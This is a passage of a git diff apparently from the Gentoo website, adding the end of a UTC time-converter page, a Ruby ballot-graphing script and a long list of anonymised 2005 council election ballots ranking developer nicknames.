+		$("#time").val(GET['time']);
+		update_time();
+	}
+	$("#time").keyup(function(){ update_time() });
+});
+</script>
+</head>
+<body>
+<table cellspacing='0' cellpadding='0' align='center'>
+<tr><td align='center'>
+
+<div style='height: 5px; padding: 0;'></div>
+<div>Enter time in UTC</div>
+<div><input type='textbox' class='textbox' id='time' value='' /></div>
+<div style='height: 5px'></div>
+<div id='localtime_label'>Time converted to your system's timezone</div>
+<div id='localtime'></div>
+<div style='height: 15px'></div>
+<div style='font-size: 12px'>Make sure your system time is correct or you'll get wrong results :p</div>
+<div style='height: 5px'></div>
+<div style='font-size: 12px; color: #00a5ee'>wired<br>@<br>gentoo.org</div>
+
+</td></tr>
+</table>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2005-grapher.rb.txt b/xml/htdocs/proj/en/council/voting-logs/council-2005-grapher.rb.txt
new file mode 100644
index 00000000..3b41675e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2005-grapher.rb.txt
@@ -0,0 +1,81 @@
+#!/usr/bin/ruby
+
+ResultsFile = ARGV[0]
+if ARGV[1] then
+  ScaleSize = ARGV[1].to_i
+else
+  ScaleSize = 15
+end
+
+if !ResultsFile then
+    print "USAGE: grapher.rb <master file> [scale]\n"
+    exit 1
+end
+
+# Get all candidate names and initialise their vote count
+candidates = Hash.new
+ballots = Hash.new
+File.open ResultsFile, "r" do | file |
+    file.each_line do | line |
+        next if line =~ /^-/
+        line.split(%r/\s+/).each do | person |
+            candidates[person] = [0] * ScaleSize unless candidates[person]
+        end
+    end
+
+    file.seek(0, IO::SEEK_SET)
+
+    key = false
+    file.each_line do | line |
+        if line =~ %r/^-/
+            key = line.split(/\s+/).grep(/^[a-fA-F0-9]{4}$/)[0]
+            ballots[key] = []
+        else
+            raise "key not set yet" unless key
+            ballots[key].push line.chomp.split(/\s+/)
+        end
+    end
+end
+
+# Add in missing candidates
+ballots.keys.each do | key |
+    append_candidates = candidates.keys.dup
+    ballots[key].flatten.each do | candidate |
+        append_candidates.delete_if do | item |
+            item == candidate
+        end
+    end
+    unless append_candidates.empty?
+        ballots[key].push append_candidates
+    end
+end
+
+# Calculate distributions
+ballots.each_pair do | ballot, results |
+    scale_by = ScaleSize / (0.0 + results.length)
+    results.each_with_index do | result, index |
+        place = (scale_by * index.to_f).to_i
+        raise "out of range" unless (0..ScaleSize - 1).include? place
+        result.each do | candidate |
+            candidates[candidate][place] += 1
+        end
+    end
+end
+
+# Display distributions
+candidates.keys.sort.each do | candidate |
+    puts "  " + candidate
+    12.downto(0) do | height |
+        print "|"
+        candidates[candidate].each do | value |
+            if value > (height * 3)
+                print "#"
+            else
+                print " "
+            end
+        end
+        puts
+    end
+    puts "+" + ("-" * ScaleSize)
+    puts
+end
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2005-master.txt b/xml/htdocs/proj/en/council/voting-logs/council-2005-master.txt
new file mode 100644
index 00000000..36218ffd
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2005-master.txt
@@ -0,0 +1,2302 @@
+--------- confirmation 294d ---------
+Stuart
+bonsaikitten
+kugelfang
+mcummings Koon seemant lcars tigger Weeve KingTaco azarah jaervosz Plasmaroo spb SwifT agriffis vapier slarti tomk Ramereth genone Mr_Bones_ solar Kumba
+ciaranm
+--------- confirmation 0439 ---------
+solar
+tigger
+ciaranm
+vapier
+spb
+seemant
+agriffis
+azarah
+mcummings
+--------- confirmation 2b3b ---------
+agriffis tigger ciaranm solar Mr_Bones_ Plasmaroo
+SwifT Weeve KingTaco seemant Koon genone tomk lcars azarah Ramereth Stuart Kumba mcummings jaervosz slarti vapier bonsaikitten kugelfang spb
+--------- confirmation 006f ---------
+seemant solar Stuart
+Plasmaroo Weeve jaervosz vapier Koon
+lcars agriffis Ramereth SwifT azarah
+mcummings ciaranm genone tigger spb
+Mr_Bones_ Kumba bonsaikitten
+tomk kugelfang slarti KingTaco
+--------- confirmation 2ba3 ---------
+ciaranm
+bonsaikitten
+kugelfang
+KingTaco
+vapier
+seemant
+spb
+SwifT
+agriffis
+jaervosz
+Koon
+azarah
+solar
+Mr_Bones_
+tomk
+genone
+Kumba
+lcars
+Weeve
+Plasmaroo
+Stuart
+tigger
+slarti
+Ramereth
+mcummings
+--------- confirmation 2c0d ---------
+seemant
+SwifT
+ciaranm
+agriffis
+mcummings
+azarah
+genone
+kugelfang
+Weeve
+Kumba
+solar
+tigger
+Plasmaroo
+vapier
+Mr_Bones_
+KingTaco
+--------- confirmation 2d33 ---------
+vapier
+Stuart
+ciaranm
+bonsaikitten
+spb
+agriffis
+Koon
+tigger
+azarah
+solar
+SwifT
+seemant
+Kumba
+jaervosz
+Mr_Bones_
+Plasmaroo
+slarti
+KingTaco
+lcars
+kugelfang
+genone
+Weeve
+tomk
+mcummings
+Ramereth
+--------- confirmation 2d4a ---------
+agriffis
+azarah
+seemant
+Mr_Bones_
+Koon
+genone
+solar
+slarti
+vapier
+tigger
+SwifT
+Weeve
+Ramereth
+Kumba
+spb
+lcars
+kugelfang
+Plasmaroo
+jaervosz
+bonsaikitten
+KingTaco
+tomk
+Stuart
+mcummings
+ciaranm
+--------- confirmation 2dbe ---------
+seemant
+azarah
+agriffis
+bonsaikitten
+Stuart
+Ramereth Kumba genone mcummings slarti SwifT vapier ciaranm Plasmaroo Koon KingTaco Mr_Bones_ jaervosz solar spb kugelfang tomk tigger Weeve lcars
+--------- confirmation 2ed1 ---------
+agriffis
+vapier
+Plasmaroo
+ciaranm Weeve
+jaervosz Koon
+seemant azarah
+SwifT tigger
+spb slarti
+mcummings lcars Mr_Bones_ KingTaco genone Kumba
+kugelfang Ramereth tomk solar
+Stuart bonsaikitten
+--------- confirmation 3012 ---------
+KingTaco
+seemant
+SwifT Weeve
+lcars azarah Plasmaroo vapier
+agriffis kugelfang slarti
+solar Mr_Bones_ bonsaikitten
+Ramereth jaervosz
+Stuart Kumba
+Koon genone
+ciaranm tigger tomk spb
+mcummings
+--------- confirmation 303a ---------
+tigger
+Mr_Bones_
+Stuart
+azarah
+seemant
+SwifT
+kugelfang
+bonsaikitten
+mcummings
+Weeve
+KingTaco
+jaervosz
+genone
+lcars
+slarti
+Kumba
+agriffis
+Ramereth
+solar
+Koon
+Plasmaroo
+vapier
+spb
+tomk
+ciaranm
+--------- confirmation 32fd ---------
+Koon
+Mr_Bones_
+vapier
+agriffis
+ciaranm
+azarah
+Plasmaroo
+SwifT
+solar
+seemant
+lcars
+Ramereth
+slarti
+jaervosz
+genone
+KingTaco
+spb
+tomk
+Kumba
+tigger
+Weeve
+kugelfang
+mcummings
+Stuart
+bonsaikitten
+--------- confirmation 3337 ---------
+seemant
+ciaranm
+SwifT
+Koon
+vapier
+tigger
+azarah
+bonsaikitten
+agriffis
+Stuart
+mcummings
+Plasmaroo
+Weeve
+kugelfang
+Mr_Bones_
+KingTaco
+genone
+jaervosz
+Ramereth
+slarti
+spb
+Kumba
+tomk
+lcars
+solar
+--------- confirmation 33db ---------
+agriffis
+Mr_Bones_
+seemant
+vapier
+azarah
+Ramereth
+Koon
+solar
+Kumba
+SwifT
+kugelfang
+ciaranm
+slarti
+bonsaikitten
+Plasmaroo
+tigger
+spb
+KingTaco
+Weeve
+tomk
+Stuart
+lcars
+jaervosz
+genone
+mcummings
+--------- confirmation 34ec ---------
+vapier azarah agriffis
+solar
+Mr_Bones_
+ciaranm
+kugelfang
+Weeve
+Kumba
+jaervosz
+Plasmaroo
+seemant
+Koon
+genone
+Stuart
+lcars
+KingTaco
+slarti
+tigger
+bonsaikitten
+Ramereth
+tomk
+SwifT
+spb
+--------- confirmation 3599 ---------
+ciaranm
+solar seemant agriffis Ramereth Koon Mr_Bones_
+spb lcars kugelfang jaervosz SwifT slarti Weeve vapier bonsaikitten azarah tomk genone Plasmaroo Kumba mcummings tigger KingTaco
+Stuart
+--------- confirmation 36dc ---------
+ciaranm
+seemant
+lcars
+azarah
+solar
+Stuart
+vapier
+spb
+Mr_Bones_
+Ramereth
+Koon
+tigger
+Plasmaroo
+kugelfang
+SwifT
+genone
+agriffis
+mcummings
+KingTaco
+slarti
+jaervosz
+Kumba
+tomk
+Weeve
+bonsaikitten
+--------- confirmation 3788 ---------
+KingTaco
+kugelfang
+bonsaikitten Koon slarti agriffis
+azarah Mr_Bones_ seemant tigger vapier solar jaervosz tomk SwifT Weeve mcummings Kumba Stuart Ramereth genone Plasmaroo
+lcars spb
+ciaranm
+--------- confirmation 3828 ---------
+agriffis solar
+mcummings Plasmaroo
+azarah ciaranm tigger
+lcars Weeve Koon
+Mr_Bones_
+KingTaco
+Ramereth
+seemant SwifT vapier tomk
+bonsaikitten
+genone
+jaervosz
+slarti
+Kumba
+spb
+kugelfang
+Stuart
+--------- confirmation 3844 ---------
+agriffis azarah vapier
+Kumba Weeve ciaranm solar
+tigger seemant Ramereth spb
+Koon Mr_Bones_ Plasmaroo
+mcummings
+slarti KingTaco lcars kugelfang
+jaervosz genone
+SwifT Stuart tomk
+bonsaikitten
+--------- confirmation 05c9 ---------
+seemant Mr_Bones_
+ciaranm
+solar
+vapier tigger agriffis
+genone azarah lcars spb bonsaikitten
+Kumba Plasmaroo slarti Koon
+jaervosz SwifT KingTaco tomk Ramereth Weeve Stuart mcummings kugelfang
+--------- confirmation 3a78 ---------
+Plasmaroo SwifT tigger vapier agriffis Ramereth solar Kumba Mr_Bones_ Koon Weeve KingTaco azarah spb mcummings
+slarti Stuart kugelfang genone jaervosz tomk lcars seemant
+bonsaikitten ciaranm
+--------- confirmation 3b79 ---------
+kugelfang
+Plasmaroo
+vapier
+KingTaco
+Ramereth
+slarti
+tigger
+bonsaikitten
+azarah
+mcummings
+Kumba
+spb
+Mr_Bones_
+agriffis
+seemant
+SwifT
+Koon
+genone
+--------- confirmation 423d ---------
+ciaranm
+Ramereth
+SwifT
+Plasmaroo
+lcars
+agriffis
+vapier
+slarti
+KingTaco
+seemant
+tomk
+tigger
+bonsaikitten
+azarah
+Koon
+solar
+Weeve
+mcummings
+jaervosz
+Mr_Bones_
+kugelfang Kumba spb genone
+Stuart
+--------- confirmation 4495 ---------
+Plasmaroo agriffis Ramereth vapier Kumba Weeve
+azarah seemant genone KingTaco Stuart Mr_Bones_ kugelfang
+SwifT slarti Koon
+lcars
+tomk
+solar
+spb
+ciaranm
+tigger
+jaervosz
+bonsaikitten
+--------- confirmation 4525 ---------
+seemant
+solar
+ciaranm
+vapier
+azarah
+agriffis
+Plasmaroo
+kugelfang
+jaervosz
+lcars
+Ramereth
+tigger
+genone
+Kumba
+spb
+tomk
+Stuart
+SwifT
+Mr_Bones_
+Weeve
+Koon
+slarti
+bonsaikitten
+mcummings
+KingTaco
+--------- confirmation 00b2 ---------
+ciaranm
+Plasmaroo
+agriffis
+SwifT
+azarah
+genone
+slarti
+vapier
+Mr_Bones_
+mcummings
+--------- confirmation 4a5f ---------
+solar Ramereth lcars
+ciaranm Weeve
+jaervosz vapier
+Koon KingTaco azarah
+SwifT
+mcummings Stuart
+agriffis slarti
+spb seemant tigger
+--------- confirmation 078b ---------
+jaervosz
+SwifT
+seemant
+Mr_Bones_
+agriffis
+vapier
+ciaranm
+solar
+Ramereth
+slarti
+genone
+KingTaco
+spb
+tigger
+Stuart
+bonsaikitten
+Kumba
+azarah
+lcars
+tomk
+Koon
+mcummings
+Plasmaroo
+Weeve
+kugelfang
+--------- confirmation 07ae ---------
+SwifT
+Stuart
+azarah
+seemant
+solar
+tigger
+vapier
+agriffis
+Kumba
+Weeve
+kugelfang
+Plasmaroo
+mcummings
+KingTaco
+genone
+jaervosz
+slarti
+Koon
+Ramereth
+bonsaikitten
+spb
+Mr_Bones_
+tomk
+lcars
+ciaranm
+--------- confirmation 4dd5 ---------
+SwifT
+vapier
+Plasmaroo Ramereth Koon solar seemant lcars agriffis
+kugelfang jaervosz Weeve bonsaikitten tomk azarah Mr_Bones_ genone spb KingTaco Kumba slarti tigger mcummings Stuart
+ciaranm
+--------- confirmation 4f10 ---------
+azarah
+Weeve
+ciaranm
+Kumba
+vapier
+solar
+spb
+seemant
+Ramereth
+Mr_Bones_
+KingTaco
+agriffis
+mcummings
+jaervosz SwifT Koon genone slarti lcars tomk
+Plasmaroo
+tigger
+Stuart
+kugelfang
+bonsaikitten
+--------- confirmation 4f78 ---------
+kugelfang Ramereth lcars seemant KingTaco solar Stuart Weeve tigger SwifT
+jaervosz Mr_Bones_ tomk genone azarah Plasmaroo mcummings agriffis vapier Kumba Koon slarti
+ciaranm spb bonsaikitten
+--------- confirmation 51f2 ---------
+KingTaco
+kugelfang vapier slarti Koon seemant
+bonsaikitten genone azarah solar Ramereth Plasmaroo Kumba Mr_Bones_ tigger
+Weeve jaervosz agriffis tomk SwifT lcars
+mcummings Stuart
+spb
+ciaranm
+--------- confirmation 5316 ---------
+solar vapier
+spb slarti jaervosz
+kugelfang ciaranm
+genone tigger bonsaikitten SwifT tomk Plasmaroo KingTaco azarah Mr_Bones_ Koon agriffis seemant Stuart lcars mcummings Kumba Ramereth Weeve
+--------- confirmation 567b ---------
+SwifT
+Ramereth
+tomk
+KingTaco
+vapier
+lcars
+agriffis
+Plasmaroo
+Mr_Bones_
+mcummings
+solar
+azarah
+genone
+tigger
+Koon
+Weeve
+Kumba
+slarti
+seemant
+jaervosz
+Stuart
+spb
+bonsaikitten
+kugelfang
+ciaranm
+--------- confirmation 57fc ---------
+SwifT
+seemant
+Plasmaroo
+--------- confirmation 59e8 ---------
+ciaranm
+solar
+SwifT
+vapier
+agriffis
+genone
+seemant
+lcars
+Koon
+KingTaco
+Mr_Bones_
+jaervosz
+spb
+tomk
+Stuart
+Weeve
+bonsaikitten
+slarti
+mcummings
+kugelfang
+azarah
+Kumba
+Plasmaroo
+tigger
+Ramereth
+--------- confirmation 5a94 ---------
+agriffis azarah ciaranm vapier
+Kumba Mr_Bones_ slarti Weeve seemant
+tigger spb kugelfang SwifT Ramereth
+lcars solar genone
+KingTaco jaervosz Plasmaroo Koon
+bonsaikitten Stuart tomk mcummings
+--------- confirmation 5b04 ---------
+Ramereth
+tigger
+kugelfang
+Stuart
+Mr_Bones_
+seemant
+vapier
+bonsaikitten
+lcars
+solar
+agriffis
+slarti
+Weeve
+spb
+Plasmaroo
+azarah
+SwifT
+jaervosz
+Kumba
+tomk
+KingTaco
+Koon
+mcummings
+genone
+ciaranm
+--------- confirmation 5c7a ---------
+agriffis
+tigger
+Weeve
+genone
+mcummings
+jaervosz
+Stuart
+Koon
+lcars
+solar
+KingTaco
+Plasmaroo
+Mr_Bones_
+ciaranm
+vapier
+SwifT
+Ramereth
+Kumba
+spb
+bonsaikitten
+azarah
+slarti
+seemant
+tomk
+kugelfang
+--------- confirmation 5d29 ---------
+lcars
+tigger
+Ramereth
+solar
+Stuart
+seemant
+mcummings
+Weeve
+KingTaco
+Plasmaroo
+bonsaikitten
+Kumba
+Mr_Bones_
+jaervosz
+vapier
+tomk
+slarti
+agriffis
+spb
+Koon
+kugelfang
+azarah
+genone
+SwifT
+ciaranm
+--------- confirmation 5ebf ---------
+agriffis
+seemant
+KingTaco
+mcummings
+Stuart
+slarti
+kugelfang
+solar
+lcars
+bonsaikitten
+Weeve
+SwifT
+spb
+genone
+azarah
+tigger
+Koon
+Ramereth
+Mr_Bones_
+Kumba
+jaervosz
+Plasmaroo
+tomk
+vapier
+ciaranm
+--------- confirmation 09d4 ---------
+ciaranm kugelfang
+solar jaervosz
+KingTaco Koon
+Stuart
+agriffis
+lcars
+mcummings
+slarti
+seemant
+bonsaikitten
+SwifT
+Mr_Bones_
+vapier
+azarah
+Weeve
+Ramereth
+spb
+genone
+Plasmaroo
+tigger
+tomk
+Kumba
+--------- confirmation 6297 ---------
+solar
+agriffis
+ciaranm
+Koon
+jaervosz
+Mr_Bones_
+tigger
+Stuart
+mcummings
+spb
+Weeve
+tomk
+kugelfang
+genone
+KingTaco
+slarti
+Kumba
+Plasmaroo
+Ramereth
+azarah
+vapier
+lcars
+SwifT
+seemant
+bonsaikitten
+--------- confirmation 647b ---------
+lcars
+SwifT
+seemant
+kugelfang
+Koon
+agriffis
+vapier
+genone
+KingTaco
+Ramereth
+tomk
+solar
+jaervosz
+Plasmaroo
+slarti
+spb
+Kumba
+tigger
+bonsaikitten
+mcummings
+azarah
+Stuart
+Weeve
+Mr_Bones_
+ciaranm
+--------- confirmation 6546 ---------
+vapier
+spb
+seemant
+kugelfang
+KingTaco
+azarah
+tigger
+lcars
+Koon
+Plasmaroo
+ciaranm
+bonsaikitten
+mcummings
+agriffis
+Weeve
+Kumba
+slarti
+jaervosz
+genone
+tomk
+Mr_Bones_
+Ramereth
+SwifT
+solar
+Stuart
+--------- confirmation 6675 ---------
+kugelfang
+ciaranm azarah agriffis
+vapier tigger solar
+Koon jaervosz Plasmaroo
+seemant genone spb
+Ramereth Stuart lcars tomk
+Kumba Weeve slarti SwifT
+Mr_Bones_ bonsaikitten KingTaco mcummings
+--------- confirmation 6705 ---------
+Ramereth tomk Koon solar KingTaco Plasmaroo
+kugelfang bonsaikitten ciaranm
+Kumba tigger vapier genone
+azarah jaervosz SwifT Mr_Bones_ mcummings agriffis Stuart spb slarti Weeve lcars seemant
+--------- confirmation 681e ---------
+ciaranm
+vapier
+tomk
+Kumba
+slarti
+mcummings
+lcars
+tigger
+seemant
+Weeve
+SwifT
+Plasmaroo
+Mr_Bones_
+agriffis
+Ramereth
+azarah
+spb
+jaervosz
+kugelfang
+KingTaco
+solar
+bonsaikitten
+Koon
+genone
+Stuart
+--------- confirmation 6834 ---------
+seemant
+SwifT
+slarti
+agriffis
+vapier
+ciaranm
+azarah
+solar
+Stuart
+spb
+lcars
+genone
+Mr_Bones_
+Kumba
+Ramereth
+Plasmaroo
+KingTaco
+Weeve
+jaervosz
+kugelfang
+Koon
+bonsaikitten
+tomk
+tigger
+mcummings
+--------- confirmation 0a8d ---------
+kugelfang
+bonsaikitten
+vapier
+genone
+Koon
+Plasmaroo
+slarti jaervosz Stuart SwifT KingTaco lcars tomk solar Ramereth seemant
+ciaranm Mr_Bones_ spb tigger Kumba agriffis Weeve azarah mcummings
+--------- confirmation 0ab4 ---------
+genone
+vapier
+seemant
+ciaranm
+Mr_Bones_
+Ramereth
+solar
+azarah
+agriffis KingTaco mcummings Weeve
+lcars SwifT jaervosz Plasmaroo slarti spb Stuart kugelfang tomk tigger bonsaikitten Kumba Koon
+--------- confirmation 6d08 ---------
+azarah seemant vapier agriffis solar
+Mr_Bones_
+Koon
+ciaranm
+Ramereth
+kugelfang
+slarti
+genone
+KingTaco
+Kumba
+Weeve
+Plasmaroo
+SwifT
+spb
+tigger
+lcars
+Stuart
+jaervosz
+tomk
+bonsaikitten
+--------- confirmation 6df6 ---------
+seemant
+agriffis
+azarah
+Ramereth
+slarti
+vapier
+ciaranm
+Stuart tigger genone jaervosz KingTaco tomk Plasmaroo spb lcars mcummings Koon kugelfang Mr_Bones_ Weeve solar Kumba bonsaikitten SwifT
+--------- confirmation 6edf ---------
+SwifT
+Stuart
+agriffis seemant
+tigger
+Koon azarah mcummings solar
+vapier lcars Plasmaroo
+KingTaco
+Mr_Bones_
+ciaranm
+--------- confirmation 700c ---------
+Koon
+KingTaco
+kugelfang
+genone
+lcars
+azarah
+jaervosz
+agriffis
+vapier
+Kumba
+Weeve
+Mr_Bones_
+seemant
+tomk
+slarti
+SwifT
+Ramereth
+tigger
+Plasmaroo
+Stuart
+mcummings
+solar
+spb
+bonsaikitten
+ciaranm
+--------- confirmation 73b3 ---------
+tomk
+SwifT
+azarah
+genone
+KingTaco
+slarti
+Kumba
+Stuart bonsaikitten kugelfang vapier Koon Weeve Mr_Bones_ jaervosz agriffis seemant lcars Ramereth solar Plasmaroo tigger
+spb
+ciaranm
+--------- confirmation 7671 ---------
+KingTaco SwifT
+vapier Ramereth
+ciaranm
+lcars solar
+Weeve
+Koon
+Plasmaroo
+jaervosz bonsaikitten spb agriffis tigger mcummings
+--------- confirmation 7d91 ---------
+solar
+genone
+vapier
+azarah
+Stuart
+ciaranm
+seemant
+spb
+Weeve
+Kumba
+Mr_Bones_
+Ramereth
+agriffis
+SwifT
+slarti
+kugelfang
+Koon
+tigger
+mcummings
+Plasmaroo
+tomk
+bonsaikitten
+KingTaco
+jaervosz
+lcars
+--------- confirmation 7fbd ---------
+agriffis
+KingTaco
+azarah
+seemant
+slarti
+Ramereth
+Kumba
+kugelfang
+Plasmaroo
+Stuart
+mcummings
+tigger
+Mr_Bones_
+SwifT
+solar
+Koon
+genone
+jaervosz
+Weeve
+lcars
+vapier
+bonsaikitten
+spb
+tomk
+ciaranm
+--------- confirmation 8127 ---------
+agriffis
+azarah
+vapier
+solar
+tigger
+ciaranm
+seemant
+SwifT
+Plasmaroo
+KingTaco
+genone
+lcars
+Koon
+jaervosz
+kugelfang
+Mr_Bones_
+mcummings
+Weeve
+slarti
+Ramereth
+Kumba
+Stuart
+tomk
+spb
+bonsaikitten
+--------- confirmation 8148 ---------
+Koon Plasmaroo
+Kumba
+Weeve
+jaervosz
+agriffis
+KingTaco
+Stuart
+seemant
+vapier
+mcummings
+tigger
+azarah
+tomk
+SwifT
+kugelfang
+Ramereth
+lcars
+slarti
+Mr_Bones_
+genone
+bonsaikitten
+solar
+spb
+ciaranm
+--------- confirmation 85e6 ---------
+bonsaikitten
+Plasmaroo SwifT kugelfang Koon tigger
+genone slarti azarah solar KingTaco
+Kumba mcummings Weeve seemant
+--------- confirmation 863c ---------
+seemant solar KingTaco Mr_Bones_ vapier mcummings
+Weeve Stuart SwifT lcars kugelfang bonsaikitten Kumba Ramereth genone slarti spb azarah tigger tomk Koon agriffis ciaranm jaervosz Plasmaroo
+--------- confirmation 871b ---------
+SwifT
+ciaranm
+spb
+agriffis
+Weeve
+genone
+--------- confirmation 0dc0 ---------
+jaervosz
+seemant
+vapier
+tigger
+Plasmaroo
+slarti
+lcars
+Weeve
+mcummings
+Mr_Bones_
+Stuart
+kugelfang
+tomk
+agriffis
+SwifT
+Kumba
+Ramereth
+azarah
+KingTaco
+bonsaikitten
+Koon
+genone
+solar
+spb
+ciaranm
+--------- confirmation 8a5f ---------
+SwifT
+Ramereth
+vapier
+solar
+azarah
+slarti
+seemant
+KingTaco
+Mr_Bones_
+Weeve
+jaervosz
+kugelfang
+Plasmaroo
+Koon
+mcummings
+Stuart
+bonsaikitten
+tigger
+agriffis
+genone
+lcars
+spb
+Kumba
+tomk
+ciaranm
+--------- confirmation 8dde ---------
+SwifT
+lcars Ramereth ciaranm vapier jaervosz solar
+Koon mcummings spb KingTaco tigger genone tomk Weeve
+--------- confirmation 0e39 ---------
+SwifT
+seemant solar
+vapier
+tigger
+agriffis
+slarti azarah
+lcars
+genone
+kugelfang
+tomk
+ciaranm
+bonsaikitten
+Ramereth
+KingTaco
+Stuart
+mcummings
+Kumba
+Weeve
+Plasmaroo
+Koon
+jaervosz
+Mr_Bones_
+spb
+--------- confirmation 8e46 ---------
+Ramereth
+Weeve
+vapier agriffis azarah
+solar lcars
+Mr_Bones_ genone SwifT
+seemant tigger
+jaervosz
+KingTaco
+Koon
+slarti
+Plasmaroo
+Kumba
+tomk Stuart
+kugelfang
+mcummings
+spb
+ciaranm
+bonsaikitten
+--------- confirmation 93a5 ---------
+Weeve ciaranm Mr_Bones_ vapier Koon seemant jaervosz Plasmaroo Kumba
+agriffis SwifT solar azarah genone spb
+tomk kugelfang Ramereth KingTaco tigger slarti lcars bonsaikitten Stuart
+mcummings
+--------- confirmation 95cc ---------
+tomk
+Koon
+jaervosz
+lcars
+SwifT
+genone
+Weeve
+vapier
+tigger
+agriffis
+solar
+mcummings
+spb
+KingTaco
+kugelfang
+Stuart
+Mr_Bones_
+seemant
+slarti
+Kumba
+Plasmaroo
+Ramereth
+bonsaikitten
+ciaranm
+azarah
+--------- confirmation 96fa ---------
+Mr_Bones_
+agriffis seemant vapier
+azarah Koon Ramereth Weeve Stuart Kumba lcars tigger
+tomk kugelfang SwifT slarti spb Plasmaroo genone KingTaco jaervosz
+solar
+bonsaikitten
+ciaranm
+mcummings
+--------- confirmation 9731 ---------
+agriffis vapier
+ciaranm
+Ramereth Koon Mr_Bones_ azarah
+Weeve seemant Kumba Stuart
+SwifT genone mcummings
+slarti
+tigger lcars solar
+KingTaco kugelfang spb Plasmaroo
+jaervosz tomk
+bonsaikitten
+--------- confirmation 9897 ---------
+solar ciaranm azarah agriffis vapier
+Koon slarti Weeve Kumba spb
+genone Mr_Bones_ seemant
+Ramereth tomk lcars jaervosz kugelfang SwifT mcummings KingTaco
+Plasmaroo tigger Stuart
+bonsaikitten
+--------- confirmation 9abc ---------
+vapier mcummings jaervosz
+agriffis azarah seemant genone Stuart
+Mr_Bones_ Ramereth KingTaco Koon
+tigger Plasmaroo SwifT lcars slarti Kumba spb bonsaikitten tomk Weeve kugelfang
+solar
+ciaranm
+--------- confirmation 9b42 ---------
+seemant
+Mr_Bones_
+solar
+lcars
+tigger
+vapier
+agriffis
+Kumba
+Weeve
+KingTaco
+slarti
+ciaranm
+Ramereth
+tomk
+Koon
+Plasmaroo
+mcummings
+spb
+genone
+azarah
+SwifT
+kugelfang
+jaervosz
+Stuart
+bonsaikitten
+--------- confirmation 9b6d ---------
+slarti
+agriffis
+seemant
+Mr_Bones_
+KingTaco
+azarah
+Stuart
+SwifT
+Ramereth
+Plasmaroo
+Koon
+bonsaikitten
+Weeve
+tigger
+Kumba
+spb
+lcars
+jaervosz
+mcummings
+genone
+tomk
+kugelfang
+vapier
+solar
+ciaranm
+--------- confirmation 9e3d ---------
+tigger
+tomk
+Ramereth
+Koon
+Mr_Bones_
+jaervosz
+solar
+genone
+azarah
+Weeve
+seemant
+Kumba
+vapier
+agriffis
+kugelfang
+KingTaco
+Plasmaroo
+slarti
+bonsaikitten
+lcars
+--------- confirmation 9f81 ---------
+KingTaco
+kugelfang
+seemant
+Plasmaroo
+azarah
+agriffis
+solar
+vapier
+lcars
+genone
+ciaranm
+mcummings SwifT Ramereth bonsaikitten Stuart Weeve slarti Koon Mr_Bones_ Kumba tigger jaervosz tomk spb
+--------- confirmation a414 ---------
+vapier seemant Weeve
+ciaranm slarti spb kugelfang
+genone jaervosz
+tigger Kumba
+agriffis azarah Mr_Bones_
+KingTaco mcummings
+Ramereth
+solar Koon
+Stuart lcars
+SwifT
+Plasmaroo
+tomk
+bonsaikitten
+--------- confirmation a5ae ---------
+jaervosz
+Koon
+Plasmaroo
+Stuart
+SwifT
+vapier
+genone
+Ramereth
+KingTaco
+kugelfang
+solar
+seemant
+agriffis
+ciaranm
+lcars
+spb
+azarah
+Kumba
+tomk
+bonsaikitten
+Weeve
+slarti
+Mr_Bones_
+tigger
+mcummings
+--------- confirmation a8dd ---------
+Koon solar lcars agriffis
+jaervosz KingTaco
+Mr_Bones_
+Ramereth Kumba
+kugelfang
+Stuart SwifT genone Plasmaroo slarti tomk
+seemant
+Weeve vapier
+spb ciaranm tigger azarah bonsaikitten
+--------- confirmation aa19 ---------
+Koon
+Plasmaroo
+Stuart
+kugelfang
+jaervosz
+vapier
+solar
+SwifT
+lcars tomk agriffis Kumba slarti tigger spb bonsaikitten seemant azarah Mr_Bones_ Ramereth KingTaco genone mcummings Weeve
+ciaranm
+--------- confirmation aa62 ---------
+seemant solar vapier Ramereth agriffis Mr_Bones_ azarah
+Kumba SwifT Plasmaroo Koon Weeve
+KingTaco kugelfang lcars tigger mcummings genone slarti tomk jaervosz
+Stuart ciaranm spb
+bonsaikitten
+--------- confirmation acac ---------
+seemant azarah
+ciaranm
+agriffis vapier
+Plasmaroo
+Mr_Bones_
+solar Weeve Koon
+genone lcars tigger Stuart SwifT Kumba jaervosz
+KingTaco Ramereth spb tomk
+kugelfang
+bonsaikitten mcummings slarti
+--------- confirmation ad47 ---------
+seemant azarah
+agriffis Mr_Bones_
+vapier Ramereth kugelfang
+lcars Koon slarti tomk Weeve Stuart SwifT KingTaco bonsaikitten Kumba tigger Plasmaroo genone jaervosz spb mcummings
+--------- confirmation ade0 ---------
+vapier Koon seemant solar Ramereth agriffis
+SwifT ciaranm
+azarah Plasmaroo Weeve
+Mr_Bones_ slarti mcummings genone jaervosz Kumba spb KingTaco tigger tomk lcars
+Stuart bonsaikitten kugelfang
+--------- confirmation 1179 ---------
+SwifT
+seemant
+azarah genone
+lcars mcummings
+vapier solar
+--------- confirmation afb4 ---------
+Plasmaroo
+slarti
+vapier
+Kumba
+Mr_Bones_
+bonsaikitten
+azarah solar spb Ramereth tomk ciaranm mcummings lcars Stuart KingTaco kugelfang genone SwifT seemant agriffis Weeve tigger Koon jaervosz
+--------- confirmation b1d4 ---------
+ciaranm
+spb
+Weeve
+Ramereth
+vapier
+solar
+Kumba
+seemant
+Mr_Bones_
+--------- confirmation b200 ---------
+Weeve
+ciaranm
+Kumba
+seemant
+Mr_Bones_
+kugelfang jaervosz spb mcummings azarah agriffis tomk slarti Plasmaroo vapier lcars KingTaco solar SwifT Ramereth tigger genone bonsaikitten
+Koon
+Stuart
+--------- confirmation b543 ---------
+Stuart
+ciaranm vapier Mr_Bones_
+mcummings
+agriffis
+Weeve
+seemant
+azarah
+lcars
+slarti
+solar
+KingTaco
+genone
+--------- confirmation 1254 ---------
+seemant
+vapier
+Mr_Bones_
+Weeve
+solar
+mcummings
+azarah
+tigger
+agriffis
+Ramereth
+Stuart
+Plasmaroo
+bonsaikitten
+lcars
+slarti
+spb
+Kumba
+SwifT
+jaervosz
+kugelfang
+Koon
+genone
+KingTaco
+tomk
+ciaranm
+--------- confirmation 01db ---------
+agriffis Mr_Bones_ SwifT solar lcars
